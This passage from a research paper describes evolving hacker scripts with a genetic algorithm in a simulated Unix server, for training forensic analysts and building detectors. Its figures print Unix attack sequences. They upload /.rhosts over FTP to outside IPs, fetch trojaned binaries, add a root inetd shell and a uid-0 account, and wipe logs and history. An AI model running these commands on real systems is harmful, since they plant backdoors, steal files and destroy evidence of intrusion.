chromosome is composed of an ordered subset of the gene 
pool. 

su root
ftp 234.74.136.227

put /.rhosts
chmod u+x /var/log/logmkr

get chat1
get cleanMessages chmod u+x cleanMessages

mv client1 /usr/bin/logmkr rm /etc/hosts.deny
get trin00 mv trin00 /var/log/prog13

cd www ls
rm /var/log/lastlog rm /var/log/wtmp
chmod u+x cleanHistory ./cleanHistory 9

get bash chmod u+x bash
echo 16000 stream tcp nowait root /usr/sbin/tcpd /bin/sh >> /etc/inetd.conf

./cleanHistory 10
mv ftp /bin/ftp echo jill:x:0:0:/usr:/tmp:/bin/bash >> /etc/passwd

mv trin00 /var/log/mail.old chmod u+x /var/log/mail.old
chmod u+x /usr/bin/prog13 cd /usr/bin

chmod u+x login mv login /bin/login
rm /.bash_history mv client1 /var/log/mail.old

mv trin00 /usr/bin/logmkr chmod u+x /usr/bin/logmkr
chmod u+x /usr/sbin/logmkr mv trin00 /usr/bin/mail.old

./cleanHistory 8 rm /var/log/messages
mv chatclnt /usr/sbin/prog13 mv client1 /var/log/prog13

mv chatclnt /var/log/prog13 ./mail.old
./cleanHistory 6

mv client1 /usr/sbin/mail.old
rm /usr/bin/logmkr

mv chatclnt /usr/bin/mail.old

 
Figure 8. Example gene pool. 

 
The initial population is a random population of consistent 
hacking scripts. A fitness function is defined, which uses 
the simulation engine to assign a numeric value to each 
individual script in the population. The fitness function, 
described below, is a measure of the “efficiency and 
effectiveness” of the hacking script 

6.2 Operators 
A classic set of genetic operators is used: elitism, mutation, 
crossover, gene subtraction, diversity injection. 
The elitism operator extracts the top individuals, with 
regard to their fitness, for a given generation and inserts 
them in the next generation. 

The diversity injection operator adds new individuals to a 
given population.  

The crossover operator is a one-point operator that creates 
a new offspring from two parents. It uniformly randomly 
picks a point in the first parent's chromosome, all the genes 
before this points are given to the offspring. It then 
uniformly randomly picks another point in the second's 
parent chromosome, and all the genes after this point are 
added to the offspring’s chromosome. 

The mutation operator works as follow: the genes of the 
parent are visited one after the other. There is a fixed 
probability of 0.05 that it will be mutated. If it is, a gene is 
randomly selected from the gene pool to replace the 
parent's gene with this new one. 

The gene deletion operator is intended to make 
chromosomes shorter. A random number of genes (between 
1 and 5) are deleted, at random locations on the 
chromosome.  

Figures 9, 10 and 11 illustrate the crossover, mutation and 
deletion operators. 

 



rm /etc/passwd
echo 
jack:x:5000:5000:/usr:/tmp:/bin/bash 
>> /etc/passwd
echo 
jack:Yi2yCGHo0w0wg:10884:0:99999:-
1:-1:134538412 >> /etc/shadow
cd /etc
echo 16000 stream tcp nowait root 
/usr/sbin/tcpd /bin/sh >> inetd.conf
rm /etc/hosts.deny
ftp 171.199.238.144
get bash
chmod u+x bash
mv bash /bin/bash
ftp 171.199.238.144
get client1
mv client1 /usr/sbin/logmkr
rm /var/log/secure
rm /.bash_history
rm /var/log/wtmp

su root
ftp 148.122.248.125
get ftp
chmod u+x ftp
mv ftp /bin/ftp
ftp 148.122.248.125
put /.rhosts
rm /etc/inetd.conf
exit

su root
ftp 148.122.248.125
get ftp
chmod u+x ftp
get client1
mv client1 
/usr/sbin/logmkr
rm /var/log/secure
rm /.bash_history
rm /var/log/wtmp

 
Figure 9. Crossover. 

 
 
su root
ftp 165.86.137.255
get chatclnt
mv chatclnt /usr/bin/mail.old
chmod u+x /usr/bin/mail.old
ftp 165.86.137.255
put /.rhosts
ls
cd /var
cd www
ls
cd html
rm index.html
ftp 165.86.137.255
get cleanMessages
chmod u+x cleanMessages
./cleanMessages
rm /var/log/lastlog
rm /var/log/messages
rm /var/log/secure
rm /.bash_history
rm /var/log/wtmp
exit

su root
ftp 165.86.137.255
get chatclnt
mv chatclnt /usr/bin/mail.old
chmod u+x /usr/bin/mail.old
ftp 165.86.137.255
put /.rhosts
ls
cd /var
cd www
ls
cd html
rm index.html
ftp 165.86.137.255
get cleanMessages
get login
./cleanMessages
rm /var/log/lastlog
rm /var/log/messages
rm /var/log/secure
rm /.bash_history
rm /var/log/wtmp
exit  

Figure 10. Mutation. 
 
su root
ftp 165.86.137.255
get chatclnt
mv chatclnt /usr/bin/mail.old
chmod u+x /usr/bin/mail.old
ftp 165.86.137.255
put /.rhosts
ls
cd /var
cd www
ls
cd html
rm index.html
ftp 165.86.137.255
get cleanMessages
chmod u+x cleanMessages
./cleanMessages
rm /var/log/lastlog
rm /var/log/messages
rm /var/log/secure
rm /.bash_history
rm /var/log/wtmp
exit

su root
ftp 165.86.137.255
get chatclnt
mv chatclnt /usr/bin/mail.old
ftp 165.86.137.255
put /.rhosts
cd /var
cd www
cd html
rm index.html
ftp 165.86.137.255
get cleanMessages
./cleanMessages
rm /var/log/lastlog
rm /var/log/messages
rm /var/log/secure
rm /.bash_history
rm /var/log/wtmp
exit

 

Figure 11. Deletion. 

6.3 Selection 
If generation n is a collection of p=5m individuals, 
generation n+1 is constructed as follows. 

• Elitism is used to select the m best individuals to 
move to generation n+1. After this operation, 
generation n+1 has m individuals. 

• For all the following operators, parent individuals 
are chosen using a selector function, which will 
pick a random individual among the half best of 
generation n. 

• m individuals are selected, and mutation is applied 
to them. After this operation, generation n+1 has 
2m individuals. 

• Crossover is performed m times (select parents 
and cross them over). After this operation, 
generation n+1 has 3m individuals. 

• m individual are selected, gene subtraction is 
applied to them. After this operation, generation 
n+1 has 4m individuals. 

• The final m individuals needed are generated by 
using the diversity injection operator. 

• The fitness of the p=5m individuals in generation 
n+1 is evaluated. 

6.4 Fitness 
The fitness is a measurement of the efficiency and 
effectiveness of the hacking script, that is, how much 
damage it can inflict with the most compact possible 
sequence of commands without being detected. To evaluate 
fitness, the hacking script is fed into the simulator 
described earlier. Hacker activity is monitored during the 
simulation. When se simulation is over, the log analyzer is 
used to compute the fitness value. Components of the 
fitness function are: 

• number of goals achieved by the hacker (#g) 
• number of pieces of evidence discovered by the 

log analyzer (#e) 
• number of bad commands used by the hacker (#b) 
• length of the script used by the hacker (#c) 
 

Two fitness functions were used: 
 
Fitness 1. If the hacker achieves 0 goal, the fitness is 0. If 
he achieves at least one goal, the fitness value is given by: 
1/(1+#e^2)*1/(1+#b)*1/(1+#c/10). Fitness decreases the 
number of pieces of evidence detected by the log analyzer 
increases, as the number of invalid commands increases, 
and as the length of the script increases. Fitness is therefore 



maximized by a short script that leaves no trace, and has no 
bad commands. 
Fitness 2. The second fitness function is given by: (g/4.0)* 
1.0/(1+e)^2*1.0/(1+b)*1.0/(1.0+c/10). The difference 
between Fitness 1 and Fitness 2 is the explicit reward in 
Fitness 2 for achieving as many goals as possible. 
 

7. EXPERIMENTS 
7.1 Experiment with Fitness 1 
A population of 150 individuals (m=30) is used. In one 
example, the genetic algorithm was run for 213 
generations. Figures 12 and 13 show the evolution of 
chromosome length and fitness, respectively.  
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Figure 12. Evolution of chromosome length. 
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Figure 13. Fitness evolution. 

 

The top-scoring scripts obtained from various runs of this 
experiment share many features. The typical high-scoring 
scenario includes: 

• being a user, become root 

• upload file .rhosts to a remote server (steal file) 

• clean the messages file to remove the trace of the 
su command 

• clean the bash_history file 

The top-scoring script is somewhat better than others 
because it is shorter. Figure 14 shows two examples of 
high-scoring scripts, with the one from generation 213 
more compact. 

su root
ftp 159.24.220.205
put /.rhosts
ftp 159.24.220.205
get cleanMessages
./cleanMessages
ftp 159.24.220.205
get cleanHistory
chmod u+x cleanHistory
./cleanHistory 11
rm cleanHistory
exit

su root
ftp 159.24.220.205
put /.rhosts
ftp 159.24.220.205
get cleanMessages
./cleanMessages
ftp 159.24.220.205
get cleanHistory
./cleanHistory 11
exit

Generation 100 Generation 213  
Figure 14. Two example scripts. 

 

7.2 Experiment with Fitness 2 
A population of 150 individuals (m=30) is used. In one 
example, the genetic algorithm was run for 67 generations. 
Figures 15 and 16 show the evolution of chromosome 
length and fitness, respectively. 
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Figure 15. Evolution of chromosome length. 
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Figure 16. Fitness evolution. 

 

The top scorer is very similar to the one we had in the 
previous experiment. Figure 17 shows the top scorer 
together with another interesting, high-scoring script. The 
latter one could be evolved further in order to remove some 
commands such as the chmods but it is interesting in the 
sense that it achieves several goals of the same type 
(several backdoors). 

su root
ftp 236.9.59.231
put /.rhosts
ftp 236.9.59.231
get cleanMessages
chmod u+x cleanMessages
./cleanMessages
ftp 236.9.59.231
get cleanHistory
./cleanHistory 9
rm cleanHistory
exit

su root
ftp 59.215.37.17
get chat1
mv chat1 /usr/sbin/logmkr
ftp 59.215.37.17
get client1
mv client1 /usr/bin/logmkr
ftp 59.215.37.17
get bash
chmod u+x bash
mv bash /bin/bash
ftp 213.79.105.162
get ftp
chmod u+x ftp
mv ftp /bin/ftp
ftp 213.79.105.162
get client1
mv client1 /usr/sbin/mail.old
chmod u+x /usr/sbin/mail.old
ftp 213.79.105.162
get cleanMessages
./cleanMessages
ftp 213.79.105.162
get cleanHistory
./cleanHistory 11
exit

Top scorer

Scorer #6  
Figure 17. Two example scripts. 

8. DISCUSSION 
In this paper we have shown the feasibility of reproducing 
hacker behavior and hacker scripts using a simulated 
environment. More specifically: 

• A detailed but incomplete model of a server was 
constructed within the larger context of an agent-
based model of a server-user-hacker system. 
Within this system, users and hacker interact with 

the server by issuing standard Unix commands 
with the end result of altering the file system. 
Evidence left by the hacker is left against the 
backdrop of random commands issued by the 
normal users.   

• Many simulations have been run to generate 
intrusion statistics that can be fed into an 
intelligent layer. 

• Hacker behavior was modeled using a grammar 
for hacker scripts, which allowed a large space of 
intrusions to be explored. This grammar utilizes 
the general goal-structure of hacker activity to 
produce randomized scripts that are all viable 
intrusion scripts. 

• An evolutionary algorithm was used to evolve 
scripts and produce scripts that achieve certain 
goals without being detectable in log files. 

Despite its simplicity, the model and system presented in 
this paper have a lot of practical applications when 
properly extended. Applications include:  
 

• Generating sufficient statistics to help systems 
administrators, incident-handlers and 
inexperienced forensic analysts explore log files 
for evidence. 

• The tool can be used as is as a training tool to 
fully understand the dynamics of an attack and the 
sometimes complex mapping from hacker actions 
to logs. 

• The tool can be applied for threat analysis and 
vulnerability assessment as it tries to break into a 
system by finding its detection vulnerabilities. The 
tool can in principle discover unsuspected 
vulnerabilities. 

• The tool can be used to generate signature-based 
intrusion detectors. 

• The agent-based simulation model can be easily 
applied to an important category of hackers: 
insiders.  

 
The model can be refined in order to achieve a greater 
degree of realism at a variety of levels: Unix commands, 
usage statistics. The crucial tradeoff is reaching a sufficient 
degree of realism to generate meaningful results and help 
educate investigators while maintaining enough 
simplification so that a large number of simulations can be 
run in a short amount of time. Real-world tests can be 
performed once scripts have been evolved with a simulator. 
The model described in this paper deals with a single 
machine. Obviously it can and should be extended to 
include interconnected machines, including machines 
running a variety of operating systems, and routers. It is 



possible for example to use OS emulators such as 
VMWare, which can emulate multiple operating systems 
(including Linux) on a single PC. It could be the ideal 
setup for our testing purposes. This would enable the 
model to deal with access (how does the hacker get access 
to a machine), intrusion on connected machines, router-
centered attacks, correlated attacks. A subsequent step is to 
aim for accurate modeling of distributed denial-of-service 
attacks. At the other end of the modeling spectrum, 
modeling and evolving code injection scripts could be just 
as useful a tool (Barrantes et al., 2003). The analysis of log 
files and system files for evidence collection can also be 
improved. Various machine learning or data-mining 
techniques could be employed to recognize patterns in data, 
with Bayesian networks then used to decipher causal 
relationships between these patterns. Lastly, instead of 
maintaining security systems fixed, one can build the 
equivalent of the hacker grammar for security systems and 
co-evolve hacker scripts with security systems. This 
simulated arms race would allow us to predict where the 
most likely next wave of hackers would hit, several steps 
ahead. 
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